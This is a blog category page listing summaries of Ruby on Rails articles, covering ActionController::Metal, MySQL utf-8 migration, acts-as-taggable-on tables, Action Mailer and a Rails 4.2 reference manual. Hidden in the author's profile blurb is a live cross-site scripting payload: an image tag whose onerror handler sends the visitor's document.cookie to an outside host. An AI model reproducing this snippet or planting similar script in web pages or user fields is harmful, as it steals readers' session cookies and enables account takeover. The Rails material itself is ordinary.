rails
文章平均质量分 68
真宽
熟练Ruby/Rails编程熟悉PaaS平台之CloudFoundry OpenShiftappscale热爱开源同时关注OpenStack等云计算平台<img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'>
展开
-
Metal 使用举例
Metal 使用举例原生的 Metal在 Rails 里 metal 也属于 middleware,我们可以这么用:# config/routes.rbget 'hello' => 'hello#index'# ...# app/controllers/hello_controller.rbclass HelloController < ActionController::Metal de原创 2015-07-20 20:13:59 · 688 阅读 · 0 评论 -
Metal - 加强的 Rack, 简陋的 Action Controller
加强的 Rack:意味着它符合 Rack 接口规范,可以直接使用它,创建出来的应用可以看做是一个 Rack application.在 Rack 的基础上,它增加了 middleware_stack 的预处理。和 Rack 一样,它的功能真的很有限。如你的项目做为 API 对外提供服务,不需要那么多功能,你可以尝试。和 Rack 一样,相对来说它的性能比较高。如你的 Rails 项目对性能要求非常高原创 2015-07-20 20:09:25 · 554 阅读 · 0 评论 -
Rails 将 mysql 数据库和表转换成 utf-8
有时候在服务器上发现类似“Mysql2::Error: Incorrect string value for Turkish characters”这样的错误。解决办法:rails g migration set_database_and_table_to_utf8内容:class SetDatabaseAndTableToUtf8 < ActiveRecord::Migration def d原创 2015-05-20 11:23:55 · 776 阅读 · 0 评论 -
acts-as-taggable-on 接口使用
创建了两个表,以及对应的两个 model 分别是: ActsAsTaggableOn::Tag 有 id,name上面是标签表。ActsAsTaggableOn::Tagging 有 id,tag_id,taggable_id,taggable_type,tagger_id,tagger_type,context上面是关联表(中间表)tag_id 就是第一张表,标签表的 idtaggable 为原创 2015-04-22 21:52:28 · 1159 阅读 · 0 评论 -
使用 Action Mailer
一,Base我们 Mailer 类继承的 ActionMailer::Base 指的就是它。作用它继承于 AbstractController::Base,包含了一些自身及 Abstract Controller 的模块(尽管有的模块它并没有使用到),作用是为了让它的子类(我们的 Mailer 类)能够”更好用、更实用”。 YourMailer | V原创 2015-04-04 17:15:02 · 1824 阅读 · 0 评论 -
理解 Action Mailer
Action Mailer 是 Rails 内建的组件,用来处理邮件相关业务。它依赖于 Rails 内建的其它组件,如:Active Job、Abstract Controller 和 Action View,以及外部 gem ‘mail’.因为是 Rails 内建的组件,所以使用上通常集成于 Rails 项目,但其实它也可以在 Rails 之外使用。核心是 gem ‘mail’既然是用来处理邮件相原创 2015-04-04 17:08:57 · 855 阅读 · 0 评论 -
Metal - 精简的 ActionController::Base
Metal - 精简的 ActionController::BaseActionController::Base 在它基础之上添加了多个类和模块,这使得功能得到增多,同时在性能上也会有相应损耗。如果你觉得这些功能不是必需的,或者性能的损耗是不可忍受的,你可以直接使用 Metal.原创 2015-04-03 14:20:51 · 868 阅读 · 0 评论 -
Rails 4-2-stable 参考手册 (Beta)
自己使用 Rails 已经有几年时间了,我一直想对它有个全面、系统的了解。所以编写、整理了这本书,供自己学习和使用,尽量做到全面、系统,有讲概念,有讲原理。原创 2015-09-25 11:59:37 · 794 阅读 · 0 评论